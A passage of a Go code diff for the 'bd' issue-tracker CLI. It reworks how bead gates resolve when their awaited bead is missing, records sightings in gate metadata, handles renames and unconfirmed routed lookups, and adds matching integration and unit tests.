errors.New("cannot confirm the awaited bead is gone") + +// beadGateNotFound reports whether a lookup failed because the bead does not +// exist, as opposed to the read itself failing. +func beadGateNotFound(err error) bool { + return gateProxiedNotFound(err) || isNotFoundErr(err) +} + // routedBeadGateGetter gives direct-mode gate checks the same local -> prefix // route -> contributor fallback used by other read commands. Routed stores are -// opened read-only and closed before the result is returned. +// opened read-only and closed before the result is returned. Unlike +// getIssueWithRouting, a route that fails or misses is reported as +// errBeadGateTargetUnconfirmed instead of as the local not-found. type routedBeadGateGetter struct { localStore storage.DoltStorage } func (g routedBeadGateGetter) GetIssue(ctx context.Context, id string) (*types.Issue, error) { + issue, _, err := g.getBeadGateTarget(ctx, id) + return issue, err +} + +func (g routedBeadGateGetter) getBeadGateTarget(ctx context.Context, id string) (*types.Issue, bool, error) { if g.localStore == nil { - return nil, fmt.Errorf("no local store available") + return nil, false, fmt.Errorf("no local store available") + } + issue, err := g.localStore.GetIssue(ctx, id) + if err == nil && issue != nil { + return issue, true, nil + } + if err != nil && !beadGateNotFound(err) { + return nil, false, err + } + + routed, routeErr := prefixRoutedBeadGateTarget(ctx, id) + if routed == nil { + var autoErr error + routed, autoErr = autoRoutedBeadGateTarget(ctx, g.localStore, id) + if routeErr == nil { + routeErr = autoErr + } + } + if routed != nil { + return routed, false, nil + } + if routeErr != nil { + return nil, false, routeErr + } + return issue, true, err +} + +// prefixRoutedBeadGateTarget looks id up through routes.jsonl. It returns +// (nil, nil) when no route sends id to another rig, so this rig's own answer +// stands, and errBeadGateTargetUnconfirmed when routes.jsonl cannot be read or +// a matched route's rig fails or does not return the bead. +func prefixRoutedBeadGateTarget(ctx context.Context, id string) (*types.Issue, error) { + beadsDir := resolveCommandBeadsDir(dbPath) + if beadsDir == "" { + return nil, nil + } + routes, err := loadPrefixRoutes(beadsDir) + if errors.Is(err, os.ErrNotExist) { + return nil, nil } - result, err := getIssueWithRouting(ctx, g.localStore, id) if err != nil { - return nil, err + return nil, fmt.Errorf("%w: reading routes.jsonl: %w", errBeadGateTargetUnconfirmed, err) + } + route := matchPrefixRoute(routes, id) + if route == nil || route.Path == "." { + return nil, nil + } + + result, err := resolveViaPrefixRouting(ctx, id) + if err != nil { + return nil, fmt.Errorf("%w: bead %s routes to %s: %w", errBeadGateTargetUnconfirmed, id, route.Path, err) } defer result.Close() + if result.Issue == nil { + return nil, fmt.Errorf("%w: bead %s routes to %s, which did not return it", errBeadGateTargetUnconfirmed, id, route.Path) + } return result.Issue, nil } -// checkBeadGate checks if a bead gate is satisfied. -// Returns (satisfied, reason, err). A non-nil err means the awaited bead could -// not be read at all (backend or transport failure): the gate is neither -// satisfied nor pending, and the caller reports it as an error rather than -// letting a dead store read as "still waiting". A missing bead is not an -// error; it stays pending with a not-found reason. -// -// A plain await_id names a bead in this rig. The historical -// : form uses the bead ID as the routed lookup key; the rig -// component is retained for compatibility while routes.jsonl remains keyed by -// bead prefix. The supplied getter owns local-versus-routed lookup policy. -func checkBeadGate(ctx context.Context, st issueGetter, awaitID string) (bool, string, error) { - if awaitID == "" { - return false, "bead gate has no await_id", nil - } - targetID := awaitID - if strings.Contains(awaitID, ":") { - parts := strings.SplitN(awaitID, ":", 2) - if parts[0] == "" || parts[1] == "" { - return false, fmt.Sprintf("invalid cross-rig bead gate %q: expected :", awaitID), nil - } - targetID = parts[1] - } - if st == nil { - return false, fmt.Sprintf("bead gate %q: no local store available", awaitID), nil - } - issue, err := st.GetIssue(ctx, targetID) +// autoRoutedBeadGateTarget looks id up in the contributor auto-routed store. +// It returns (nil, nil) when no auto-route is configured; like a prefix +// route, a store that cannot be opened or does not return the bead leaves its +// absence unconfirmed. +func autoRoutedBeadGateTarget(ctx context.Context, localStore storage.DoltStorage, id string) (*types.Issue, error) { + routedStore, routed, _, err := openRoutedReadStore(ctx, localStore) if err != nil { - if gateProxiedNotFound(err) || isNotFoundErr(err) { - return false, fmt.Sprintf("bead gate %q: bead not found", awaitID), nil + return nil, fmt.Errorf("%w: %w", errBeadGateTargetUnconfirmed, err) + } + if !routed { + return nil, nil + } + defer func() { _ = routedStore.Close() }() + + result, err := resolveAndGetFromStore(ctx, routedStore, id, true) + if err != nil { + return nil, fmt.Errorf("%w: looking up bead %s in the auto-routed store: %w", errBeadGateTargetUnconfirmed, id, err) + } + if result.Issue == nil { + return nil, fmt.Errorf("%w: the auto-routed store did not return bead %s", errBeadGateTargetUnconfirmed, id) + } + return result.Issue, nil +} + +// lookupBeadGateTarget asks st for id and reports whether the answer came +// from this rig's own store. +func lookupBeadGateTarget(ctx context.Context, st issueGetter, id string) (*types.Issue, bool, error) { + if g, ok := st.(beadGateTargetGetter); ok { + return g.getBeadGateTarget(ctx, id) + } + issue, err := st.GetIssue(ctx, id) + return issue, true, err +} + +// beadGateCheck is the outcome of one bead gate lookup. gone means this rig's +// own store answered that the awaited bead does not exist; seenHere means it +// returned the bead, not yet closed. +type beadGateCheck struct { + resolved bool + reason string + targetID string + gone bool + seenHere bool +} + +// beadGateTargetID returns the bead ID named by a bead gate's await_id. A +// plain await_id names a bead in this rig. The historical : +// form uses the bead ID as the routed lookup key; the rig component is +// retained for compatibility while routes.jsonl remains keyed by bead prefix. +// When there is nothing to look up, it returns the reason the gate stays +// pending instead. +func beadGateTargetID(awaitID string) (targetID, pendingReason string) { + if awaitID == "" { + return "", "bead gate has no await_id" + } + if !strings.Contains(awaitID, ":") { + return awaitID, "" + } + parts := strings.SplitN(awaitID, ":", 2) + if parts[0] == "" || parts[1] == "" { + return "", fmt.Sprintf("invalid cross-rig bead gate %q: expected :", awaitID) + } + return parts[1], "" +} + +// inspectBeadGate looks up a bead gate's target. A non-nil err means the +// awaited bead could not be read at all (backend or transport failure): the +// gate is neither resolved nor pending, and the caller reports it as an error +// rather than letting a dead store read as "still waiting". A bead that this +// rig's own store reports missing is not an error either: it is reported gone, +// and resolved with a "no longer exists" reason. A miss anywhere else (see +// errBeadGateTargetUnconfirmed) keeps the gate pending. +// +// The supplied getter owns local-versus-routed lookup policy. The lookup alone +// is not the bead-gate rule: a gone bead resolves the gate only after an +// earlier sighting, so decide through evaluateBeadGate. +func inspectBeadGate(ctx context.Context, st issueGetter, awaitID string) (beadGateCheck, error) { + targetID, pendingReason := beadGateTargetID(awaitID) + if pendingReason != "" { + return beadGateCheck{reason: pendingReason}, nil + } + c := beadGateCheck{targetID: targetID} + if st == nil { + c.reason = fmt.Sprintf("bead gate %q: no local store available", awaitID) + return c, nil + } + + issue, local, err := lookupBeadGateTarget(ctx, st, targetID) + switch { + case errors.Is(err, errBeadGateTargetUnconfirmed): + // Checked before the not-found test below, because the routing error + // it wraps can itself be a not-found from the routed store. + c.reason = fmt.Sprintf("bead gate %q: %v", awaitID, err) + case err != nil && !beadGateNotFound(err): + return c, fmt.Errorf("bead gate %q: %w", awaitID, err) + case err != nil || issue == nil: + // A bead that no longer exists can never close, so a gate awaiting it + // would stay pending forever. Resolve it. + c.resolved, c.gone = true, true + c.reason = fmt.Sprintf("awaited bead %s no longer exists (treated as resolved)", targetID) + case issue.Status == types.StatusClosed: + c.resolved = true + c.reason = fmt.Sprintf("bead %s closed", targetID) + default: + c.seenHere = local + c.reason = fmt.Sprintf("bead %s is %s", targetID, issue.Status) + } + return c, nil +} + +// beadGateSeenKey is the gate metadata key that records a bd gate check +// seeing the awaited bead in this rig's own store. Its value is the await_id +// that was seen, so retargeting the gate invalidates the record. +const beadGateSeenKey = "await_seen" + +// evaluateBeadGate is the bd gate check rule for a bead gate. It adds one +// condition to inspectBeadGate: an awaited bead that does not exist resolves +// the gate only if an earlier check saw it here and the stored gate still +// records that sighting (see rereadBeadGate). An await_id that never named a +// real bead (a typo, a short ID, a rig without a route) keeps the gate pending +// with a diagnostic instead of unblocking its step. getter reads the gate's own +// store. recordSeen, when non-nil, records the first sighting of the bead on +// the gate. +func evaluateBeadGate(ctx context.Context, gate *types.Issue, getter issueGetter, recordSeen func(gate *types.Issue) error) (bool, string, error) { + c, err := inspectBeadGate(ctx, getter, gate.AwaitID) + if err != nil { + return false, "", err + } + seen := beadGateTargetSeen(gate) + if c.gone && !seen { + return false, fmt.Sprintf("awaited bead %s not found, and no earlier gate check saw it; check the await_id, or close the gate with bd gate resolve", c.targetID), nil + } + if c.gone { + if pendingReason, err := rereadBeadGate(ctx, getter, gate, c.targetID); err != nil || pendingReason != "" { + return false, pendingReason, err } - return false, "", fmt.Errorf("bead gate %q: %w", awaitID, err) } - if issue == nil { - return false, fmt.Sprintf("bead gate %q: bead not found", awaitID), nil + if c.seenHere && !seen && recordSeen != nil { + if err := recordSeen(gate); err != nil { + return false, "", fmt.Errorf("recording that bead %s exists: %w", c.targetID, err) + } } - if issue.Status == types.StatusClosed { - return true, fmt.Sprintf("bead %s closed", targetID), nil + return c.resolved, c.reason, nil +} + +// rereadBeadGate reads gate back from getter once its awaited bead, targetID, +// was found gone, and returns a pending reason unless the stored gate still +// waits on the same await_id and records its sighting. The caller's copy can +// predate a rename of the bead: bd rename points the gate at the new ID +// before the bead takes it (see renameIssueKeepingBeadGates), so a check that +// listed the gate before the rename and looks the bead up after it finds the +// old ID gone on a copy that still records the sighting. This read comes after +// that miss, so it sees the gate already moved. An error means the gate could +// not be read at all. +func rereadBeadGate(ctx context.Context, getter issueGetter, gate *types.Issue, targetID string) (string, error) { + stored, local, err := lookupBeadGateTarget(ctx, getter, gate.ID) + switch { + case err != nil && !errors.Is(err, errBeadGateTargetUnconfirmed) && !beadGateNotFound(err): + return "", fmt.Errorf("reading gate %s back: %w", gate.ID, err) + case err != nil || stored == nil || !local: + return fmt.Sprintf("awaited bead %s not found, and the gate could not be read back to confirm it still waits on it; check it again", targetID), nil + case stored.AwaitID != gate.AwaitID || !beadGateTargetSeen(stored): + return fmt.Sprintf("awaited bead %s not found, but the gate changed while it was being checked; check it again", targetID), nil } - return false, fmt.Sprintf("bead %s is %s", targetID, issue.Status), nil + return "", nil +} + +// beadGateTargetSeen reports whether gate metadata records a sighting of the +// gate's current await_id. Unreadable metadata counts as no sighting. +func beadGateTargetSeen(gate *types.Issue) bool { + return gate != nil && gate.AwaitID != "" && beadGateSeenID(gate) == gate.AwaitID +} + +// beadGateSeenID returns the await_id that gate metadata records a sighting +// of, or "" when it records none. Unreadable metadata counts as none. +func beadGateSeenID(gate *types.Issue) string { + if len(gate.Metadata) == 0 { + return "" + } + var meta map[string]json.RawMessage + if err := json.Unmarshal(gate.Metadata, &meta); err != nil { + return "" + } + var seen string + if err := json.Unmarshal(meta[beadGateSeenKey], &seen); err != nil { + return "" + } + return seen +} + +// beadGateSeenUpdate is the update that records a sighting of awaitID. It is +// a metadata merge operation, resolved against the row inside the write +// transaction, so other metadata keys on the gate are preserved. +func beadGateSeenUpdate(awaitID string) map[string]interface{} { + value, _ := json.Marshal(awaitID) + return map[string]interface{}{ + storageissueops.OpSetMetadata: map[string]json.RawMessage{beadGateSeenKey: value}, + } +} + +// beadGateRetargetUpdate is the update that points a bead gate at awaitID. +// With dropSeen it also removes the gate's sighting in the same write, for a +// rename step that cannot keep it (see renameIssueKeepingBeadGates). +func beadGateRetargetUpdate(awaitID string, dropSeen bool) map[string]interface{} { + update := map[string]interface{}{"await_id": awaitID} + if dropSeen { + update[storageissueops.OpUnsetMetadata] = []string{beadGateSeenKey} + } + return update } // closeGate closes a gate issue with the given reason diff --git a/cmd/bd/gate_check_proxied_integration_test.go b/cmd/bd/gate_check_proxied_integration_test.go index 1906583a2..633b854d5 100644 --- a/cmd/bd/gate_check_proxied_integration_test.go +++ b/cmd/bd/gate_check_proxied_integration_test.go @@ -127,6 +127,64 @@ func TestProxiedServerGateCheck(t *testing.T) { } }) + t.Run("bead_gate_resolves_when_seen_target_is_deleted", func(t *testing.T) { + t.Parallel() + p := newSharedProxiedProject(t, bd, "gcg") + target := bdProxiedCreate(t, bd, p.dir, "Deleted bead gate target") + gate := bdProxiedCreate(t, bd, p.dir, "Bead gate", "--type", "gate") + db := openProxiedDB(t, p) + seedGateAwait(t, db, gate.ID, "bead", target.ID, time.Now().UTC(), 0) + + // The first check sees the open target and records that on the gate. + if _, stderr, err := bdProxiedRunBuffers(t, bd, p.dir, "gate", "check", "--type", "bead"); err != nil { + t.Fatalf("gate check (target open) failed: %v\nstderr:\n%s", err, stderr) + } + if got := readStatus(t, db, gate.ID); got == types.StatusClosed { + t.Fatal("bead gate should stay pending while target is open") + } + var metadata string + if err := db.QueryRowContext(context.Background(), + "SELECT metadata FROM issues WHERE id = ?", gate.ID).Scan(&metadata); err != nil { + t.Fatalf("read gate metadata: %v", err) + } + if !strings.Contains(metadata, beadGateSeenKey) { + t.Fatalf("gate metadata %s does not record that the target was seen", metadata) + } + + if _, stderr, err := bdProxiedRunBuffers(t, bd, p.dir, "delete", target.ID, "--force"); err != nil { + t.Fatalf("delete target failed: %v\nstderr:\n%s", err, stderr) + } + out, stderr, err := bdProxiedRunBuffers(t, bd, p.dir, "gate", "check", "--type", "bead") + if err != nil { + t.Fatalf("gate check (target deleted) failed: %v\nstderr:\n%s", err, stderr) + } + if got := readStatus(t, db, gate.ID); got != types.StatusClosed { + t.Errorf("bead gate should resolve after its seen target is deleted, got %q", got) + } + if !strings.Contains(out, "1 resolved") || !strings.Contains(out, "no longer exists") { + t.Errorf("expected 1 resolved with a 'no longer exists' reason, got:\n%s", out) + } + }) + + t.Run("bead_gate_never_seen_target_stays_pending", func(t *testing.T) { + t.Parallel() + p := newSharedProxiedProject(t, bd, "gcu") + gate := bdProxiedCreate(t, bd, p.dir, "Bead gate on a mistyped target", "--type", "gate") + db := openProxiedDB(t, p) + seedGateAwait(t, db, gate.ID, "bead", "gcu-nosuchbead", time.Now().UTC(), 0) + + out, stderr, err := bdProxiedRunBuffers(t, bd, p.dir, "gate", "check", "--type", "bead") + if err != nil { + t.Fatalf("gate check failed: %v\nstderr:\n%s", err, stderr) + } + if got := readStatus(t, db, gate.ID); got == types.StatusClosed { + t.Error("a bead gate whose target no check ever saw must stay pending") + } + if !strings.Contains(out, "no earlier gate check saw it") { + t.Errorf("expected the never-seen diagnostic, got:\n%s", out) + } + }) + t.Run("type_filter_scopes_evaluation", func(t *testing.T) { t.Parallel() p := newSharedProxiedProject(t, bd, "gcf") diff --git a/cmd/bd/gate_embedded_test.go b/cmd/bd/gate_embedded_test.go index 27f58216f..04c93963c 100644 --- a/cmd/bd/gate_embedded_test.go +++ b/cmd/bd/gate_embedded_test.go @@ -72,6 +72,31 @@ func createGate(t *testing.T, bd, dir, title string, extraArgs ...string) *types return bdCreate(t, bd, dir, args...) } +// createBeadGate creates a bead gate awaiting awaitID on a new task, and +// returns the gate. +func createBeadGate(t *testing.T, bd, dir, awaitID string) *types.Issue { + t.Helper() + task := bdCreate(t, bd, dir, "Task waiting on "+awaitID, "--type", "task") + cmd := exec.Command(bd, "gate", "create", "--blocks", task.ID, + "--type", "bead", "--await-id", awaitID, "--json") + cmd.Dir = dir + cmd.Env = bdEnv(dir) + stdout, stderr, err := runCommandBuffers(t, cmd) + if err != nil { + t.Fatalf("bd gate create --type=bead failed: %v\nstdout:\n%s\nstderr:\n%s", err, stdout.String(), stderr.String()) + } + var gate types.Issue + s := strings.TrimSpace(stdout.String()) + start := strings.Index(s, "{") + if start < 0 { + t.Fatalf("no JSON in output: %s", s) + } + if err := json.Unmarshal([]byte(s[start:]), &gate); err != nil { + t.Fatalf("parse gate JSON: %v\n%s", err, s) + } + return &gate +} + func TestEmbeddedGate(t *testing.T) { if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") @@ -628,6 +653,113 @@ func TestEmbeddedGateCreate(t *testing.T) { t.Errorf("expected gate blocking %s in gate list", task.ID) } }) + + t.Run("check_bead_gate_resolves_only_a_missing_target_it_saw", func(t *testing.T) { + // Use a fresh db so the check sees only these bead gates + freshDir, freshBeads, _ := bdInit(t, bd, "--prefix", "gb") + fs := openStore(t, freshBeads, "gb") + if err := fs.SetConfig(t.Context(), "types.custom", `["gate"]`); err != nil { + t.Fatalf("SetConfig: %v", err) + } + fs.Close() + + target := bdCreate(t, bd, freshDir, "Awaited bead", "--type", "task") + seenGate := createBeadGate(t, bd, freshDir, target.ID) + neverSeenGate := createBeadGate(t, bd, freshDir, "gb-nosuchbead") + + // The first check finds the target open and records that on its gate. + out := bdGate(t, bd, freshDir, "check", "--type", "bead") + if !strings.Contains(out, "no earlier gate check saw it") { + t.Errorf("expected a diagnostic for the never-seen await_id: %s", out) + } + if got := bdShow(t, bd, freshDir, seenGate.ID); got.Status != types.StatusOpen || !strings.Contains(string(got.Metadata), beadGateSeenKey) { + t.Fatalf("gate on an open target: status=%s metadata=%s, want open with %s", got.Status, got.Metadata, beadGateSeenKey) + } + + // A later check resolves the gate whose target it saw and that is now + // deleted; the await_id no check ever saw stays pending. + bdDelete(t, bd, freshDir, target.ID, "--force") + out = bdGate(t, bd, freshDir, "check", "--type", "bead") + if !strings.Contains(out, "1 resolved") || !strings.Contains(out, "no longer exists") { + t.Errorf("expected the deleted target's gate to resolve: %s", out) + } + if got := bdShow(t, bd, freshDir, seenGate.ID); got.Status != types.StatusClosed { + t.Errorf("gate on a deleted target: status=%s, want closed", got.Status) + } + if got := bdShow(t, bd, freshDir, neverSeenGate.ID); got.Status != types.StatusOpen { + t.Errorf("gate on a never-seen await_id: status=%s, want open", got.Status) + } + }) + + t.Run("rename_keeps_a_bead_gate_on_its_target", func(t *testing.T) { + // Renaming the awaited bead points its gate at the new ID and moves + // the sighting along, so the next check finds the bead instead of + // resolving the gate as though the bead had been deleted. + for _, tt := range []struct { + name string + prefix string + rename func(t *testing.T, dir, targetID string) (newID func(id string) string) + }{ + { + name: "bd rename", + prefix: "gn", + rename: func(t *testing.T, dir, targetID string) func(string) string { + bdCommand(t, bd, dir, "rename", targetID, "gn-renamed") + return func(id string) string { + if id == targetID { + return "gn-renamed" + } + return id + } + }, + }, + { + name: "bd rename-prefix", + prefix: "gp", + rename: func(t *testing.T, dir, _ string) func(string) string { + bdRenamePrefix(t, bd, dir, "gq") + return func(id string) string { return strings.Replace(id, "gp-", "gq-", 1) } + }, + }, + } { + t.Run(tt.name, func(t *testing.T) { + freshDir, freshBeads, _ := bdInit(t, bd, "--prefix", tt.prefix) + fs := openStore(t, freshBeads, tt.prefix) + if err := fs.SetConfig(t.Context(), "types.custom", `["gate"]`); err != nil { + t.Fatalf("SetConfig: %v", err) + } + fs.Close() + + target := bdCreate(t, bd, freshDir, "Awaited bead", "--type", "task") + gate := createBeadGate(t, bd, freshDir, target.ID) + bdGate(t, bd, freshDir, "check", "--type", "bead") + if got := bdShow(t, bd, freshDir, gate.ID); !beadGateTargetSeen(got) { + t.Fatalf("the first check did not record the open target: metadata=%s", got.Metadata) + } + + newID := tt.rename(t, freshDir, target.ID) + gateID, targetID := newID(gate.ID), newID(target.ID) + got := bdShow(t, bd, freshDir, gateID) + if got.AwaitID != targetID || !beadGateTargetSeen(got) { + t.Fatalf("gate after the rename: await_id=%q metadata=%s, want %q recorded as seen", got.AwaitID, got.Metadata, targetID) + } + + out := bdGate(t, bd, freshDir, "check", "--type", "bead") + if got := bdShow(t, bd, freshDir, gateID); got.Status != types.StatusOpen { + t.Fatalf("gate on a renamed open bead: status=%s, want open\n%s", got.Status, out) + } + + bdClose(t, bd, freshDir, targetID) + out = bdGate(t, bd, freshDir, "check", "--type", "bead") + if got := bdShow(t, bd, freshDir, gateID); got.Status != types.StatusClosed { + t.Errorf("gate on a renamed bead that closed: status=%s, want closed\n%s", got.Status, out) + } + if !strings.Contains(out, "bead "+targetID+" closed") { + t.Errorf("expected the gate to resolve on the closed bead: %s", out) + } + }) + } + }) } // TestEmbeddedGateConcurrent exercises gate operations concurrently. diff --git a/cmd/bd/gate_proxied_server.go b/cmd/bd/gate_proxied_server.go index bf028cc8a..8597a749b 100644 --- a/cmd/bd/gate_proxied_server.go +++ b/cmd/bd/gate_proxied_server.go @@ -30,30 +30,42 @@ type gateCheckApply struct { updated []*types.Issue closeErrs map[string]error awaitErrs map[string]error + seenErrs map[string]error } +// proxiedFreshReadGetter reads bead gate targets in proxied-server mode, each +// lookup in a fresh read transaction. A target can be an issue or a wisp. A +// local miss falls back to prefix routing like the direct getter; proxied +// mode has no contributor auto-routing. type proxiedFreshReadGetter struct{} -func (proxiedFreshReadGetter) GetIssue(ctx context.Context, id string) (*types.Issue, error) { +func (g proxiedFreshReadGetter) GetIssue(ctx context.Context, id string) (*types.Issue, error) { + issue, _, err := g.getBeadGateTarget(ctx, id) + return issue, err +} + +func (proxiedFreshReadGetter) getBeadGateTarget(ctx context.Context, id string) (*types.Issue, bool, error) { uw, err := proxiedOpenReadUOW(ctx) if err != nil { - return nil, err + return nil, false, err } - issue, localErr := uw.IssueUseCase().GetIssue(ctx, id) + issue, _, localErr := workapi.GetIssueOrWisp(ctx, workapi.NewUOWDetailSource(uw), id) uw.Close(ctx) if localErr == nil { - return issue, nil + return issue, true, nil } if !gateProxiedNotFound(localErr) { - return nil, localErr + return nil, false, localErr } - result, routeErr := resolveViaPrefixRouting(ctx, id) + routed, routeErr := prefixRoutedBeadGateTarget(ctx, id) if routeErr != nil { - return nil, localErr + return nil, false, routeErr } - defer result.Close() - return result.Issue, nil + if routed != nil { + return routed, false, nil + } + return nil, true, localErr } func runGateCheckProxiedServer(cmd *cobra.Command, ctx context.Context) error { @@ -83,12 +95,18 @@ func runGateCheckProxiedServer(cmd *cobra.Command, ctx context.Context) error { } discovered := map[string]string{} + var seen []*types.Issue var persistAwaitID func(gateID, runID string) error + var recordSeen func(gate *types.Issue) error if !dryRun { persistAwaitID = func(gateID, runID string) error { discovered[gateID] = runID return nil } + recordSeen = func(gate *types.Issue) error { + seen = append(seen, gate) + return nil + } } readUW, err := proxiedOpenReadUOW(ctx) @@ -107,7 +125,7 @@ func runGateCheckProxiedServer(cmd *cobra.Command, ctx context.Context) error { printNoOpenGates(gateTypeFilter) return nil } - results := evaluateGates(ctx, filteredGates, time.Now(), proxiedFreshReadGetter{}, persistAwaitID) + results := evaluateGates(ctx, filteredGates, time.Now(), proxiedFreshReadGetter{}, persistAwaitID, recordSeen) if dryRun { resolved, escalated, errCount := applyGateCheckResults(results, true, escalateFlag, nil) @@ -118,6 +136,7 @@ func runGateCheckProxiedServer(cmd *cobra.Command, ctx context.Context) error { out := gateCheckApply{ closeErrs: map[string]error{}, awaitErrs: map[string]error{}, + seenErrs: map[string]error{}, } for gateID, runID := range discovered { @@ -130,6 +149,14 @@ func runGateCheckProxiedServer(cmd *cobra.Command, ctx context.Context) error { } } + for _, gate := range seen { + if err := recordBeadGateSeenProxied(ctx, uw, gate); err != nil { + out.seenErrs[gate.ID] = err + continue + } + out.updated = append(out.updated, gate) + } + for _, r := range results { if r.err != nil || !r.resolved { continue @@ -177,6 +204,11 @@ func runGateCheckProxiedServer(cmd *cobra.Command, ctx context.Context) error { results[i].escalated = false results[i].err = awaitErr } + if seenErr, failed := applied.seenErrs[results[i].gate.ID]; failed { + results[i].resolved = false + results[i].escalated = false + results[i].err = seenErr + } } resolved, escalated, errCount := applyGateCheckResults(results, false, escalateFlag, @@ -186,6 +218,21 @@ func runGateCheckProxiedServer(cmd *cobra.Command, ctx context.Context) error { return printGateCheckSummary(len(results), resolved, escalated, errCount, dryRun) } +// recordBeadGateSeenProxied is the proxied-server form of the direct route's +// recordSeen write: it stamps beadGateSeenKey on a bead gate, which may be an +// issue or a wisp. +func recordBeadGateSeenProxied(ctx context.Context, uw uow.UnitOfWork, gate *types.Issue) error { + _, isWisp, err := workapi.GetIssueOrWisp(ctx, workapi.NewUOWDetailSource(uw), gate.ID) + if err == nil { + err = proxiedUpdateByID(ctx, uw, gate.ID, isWisp, beadGateSeenUpdate(gate.AwaitID)) + } + if err != nil { + targetID, _ := beadGateTargetID(gate.AwaitID) + return fmt.Errorf("recording that bead %s exists: %w", targetID, err) + } + return nil +} + // gateProxiedNotFound reports whether an issue lookup failed because the row // does not exist, as opposed to the read itself failing. The distinction is // what keeps `bd gate show` fail-closed: "no gate" and "could not read" must diff --git a/cmd/bd/gate_routing_test.go b/cmd/bd/gate_routing_test.go index 10b03b6ab..b74f86d36 100644 --- a/cmd/bd/gate_routing_test.go +++ b/cmd/bd/gate_routing_test.go @@ -14,7 +14,8 @@ import ( // TestCheckBeadGateCrossRigPrefixRoute proves the full evaluator seam: the // historical rig:id value is reduced to the target bead ID, the current // routes.jsonl prefix router opens the foreign store read-only, and target -// lifecycle state determines whether the gate resolves. +// lifecycle state determines whether the gate resolves. A routed rig that +// cannot be read leaves the gate pending: its bead is not proven gone. // // NOTE: This test uses os.Chdir and cannot run in parallel with other tests. func TestCheckBeadGateCrossRigPrefixRoute(t *testing.T) { @@ -74,4 +75,19 @@ func TestCheckBeadGateCrossRigPrefixRoute(t *testing.T) { if !gateTestContainsIgnoreCase(reason, "open") { t.Fatalf("pending reason %q does not report target status", reason) } + + // Point the rig at a database that does not exist: the route still + // matches, but the rig's store cannot be opened, so its open bead must not + // read as deleted. + writeTestMetadata(t, filepath.Join(rigBeadsDir, "dolt"), "gate_routing_missing_db") + resolved, reason, err = checkBeadGate(ctx, getter, "rig:gt-open") + if err != nil { + t.Fatalf("an unreadable routed rig is a pending gate, not an error: %v", err) + } + if resolved { + t.Fatalf("open target in an unreadable routed rig resolved the gate: %s", reason) + } + if !gateTestContainsIgnoreCase(reason, "cannot confirm") { + t.Fatalf("pending reason %q does not say the absence is unconfirmed", reason) + } } diff --git a/cmd/bd/gate_test.go b/cmd/bd/gate_test.go index efe5f1c69..b272d7f9e 100644 --- a/cmd/bd/gate_test.go +++ b/cmd/bd/gate_test.go @@ -17,6 +17,7 @@ import ( "time" "github.com/steveyegge/beads/internal/storage" + storageissueops "github.com/steveyegge/beads/internal/storage/issueops" "github.com/steveyegge/beads/internal/types" ) @@ -170,6 +171,13 @@ func (f *fakeBeadGateGetter) GetIssue(_ context.Context, id string) (*types.Issu return f.issues[id], nil } +// checkBeadGate runs only the target lookup of a bead gate check. It skips +// the sighting rule evaluateBeadGate adds, so a gone bead reads as resolved. +func checkBeadGate(ctx context.Context, st issueGetter, awaitID string) (bool, string, error) { + c, err := inspectBeadGate(ctx, st, awaitID) + return c.resolved, c.reason, err +} + func TestCheckBeadGate_CrossRigUsesBeadIDForRoutedLookup(t *testing.T) { ctx := context.Background() st := &fakeBeadGateGetter{issues: map[string]*types.Issue{ @@ -192,10 +200,17 @@ func TestProxiedFreshReadGetterPreservesLocalNotFoundWhenRoutingUnavailable(t *t dbPath = filepath.Join(t.TempDir(), ".beads", "dolt") t.Cleanup(func() { dbPath = oldDBPath }) - _, err := (proxiedFreshReadGetter{}).GetIssue(context.Background(), "bd-missing") - if !errors.Is(err, sql.ErrNoRows) { + _, err := (proxiedFreshReadGetter{}).GetIssue(context.Background(), stubMissingID) + if !errors.Is(err, storage.ErrNotFound) { t.Fatalf("GetIssue error = %v, want original local not-found", err) } + if errors.Is(err, errBeadGateTargetUnconfirmed) { + t.Fatalf("GetIssue error = %v: with no route the local miss is authoritative, not unconfirmed", err) + } + issue, local, _ := (proxiedFreshReadGetter{}).getBeadGateTarget(context.Background(), stubMissingID) + if issue != nil || !local { + t.Fatalf("getBeadGateTarget = (%v, local %v), want (nil, local true)", issue, local) + } } func TestCheckBeadGate_InvalidCrossRigFormat(t *testing.T) { @@ -260,17 +275,25 @@ func TestCheckBeadGate_LocalBead(t *testing.T) { } } +// A gate awaiting a bead that no longer exists can never resolve on its own: +// the bead will never close. Treat the absence as resolution rather than +// leaving the gate pending forever. func TestCheckBeadGate_LocalBeadNotFound(t *testing.T) { st := &fakeBeadGateGetter{issues: map[string]*types.Issue{}} - satisfied, reason, _ := checkBeadGate(context.Background(), st, "bd-missing") - if satisfied { - t.Error("expected not satisfied for missing local bead") + satisfied, reason, err := checkBeadGate(context.Background(), st, "bd-missing") + if err != nil { + t.Fatalf("a missing bead is not an error, got %v", err) } - if !gateTestContainsIgnoreCase(reason, "not found") { - t.Errorf("reason %q does not mention not found", reason) + if !satisfied { + t.Errorf("expected satisfied for missing local bead, got reason %q", reason) + } + if !gateTestContainsIgnoreCase(reason, "no longer exists") { + t.Errorf("reason %q does not mention that the bead no longer exists", reason) } } +// Negative control: a genuine backend failure is not a missing bead, so it +// is an error, neither pending nor resolved. func TestCheckBeadGate_LocalBeadLookupError(t *testing.T) { // A store that cannot be read is an error, not a pending gate: the // caller must be able to tell "dolt is down" from "still waiting". @@ -294,10 +317,11 @@ func TestCheckBeadGate_LocalBeadLookupError(t *testing.T) { } } -func TestCheckBeadGate_LocalBeadNotFoundErrorStaysPending(t *testing.T) { - // A getter that reports absence through an error (the routed getter - // surfaces storage.ErrNotFound; the proxied fresh-read getter surfaces - // sql.ErrNoRows) is a missing bead, not a broken store. +func TestCheckBeadGate_LocalBeadNotFoundErrorResolves(t *testing.T) { + // A getter that reports absence through an error (storage.ErrNotFound + // from a store, sql.ErrNoRows from the proxied domain seam, or the + // partial-ID resolver's text) is a missing bead, not a broken store: the + // gate resolves rather than pending forever on a bead that can never close. for _, tt := range []struct { name string err error @@ -305,19 +329,20 @@ func TestCheckBeadGate_LocalBeadNotFoundErrorStaysPending(t *testing.T) { {name: "storage sentinel", err: storage.ErrNotFound}, {name: "wrapped storage sentinel", err: fmt.Errorf("lookup bd-missing: %w", storage.ErrNotFound)}, {name: "sql no rows", err: sql.ErrNoRows}, + {name: "wrapped sql no rows", err: fmt.Errorf("query bead: %w", sql.ErrNoRows)}, {name: "partial-id resolver text", err: errors.New("no issue found matching bd-missing")}, } { t.Run(tt.name, func(t *testing.T) { st := 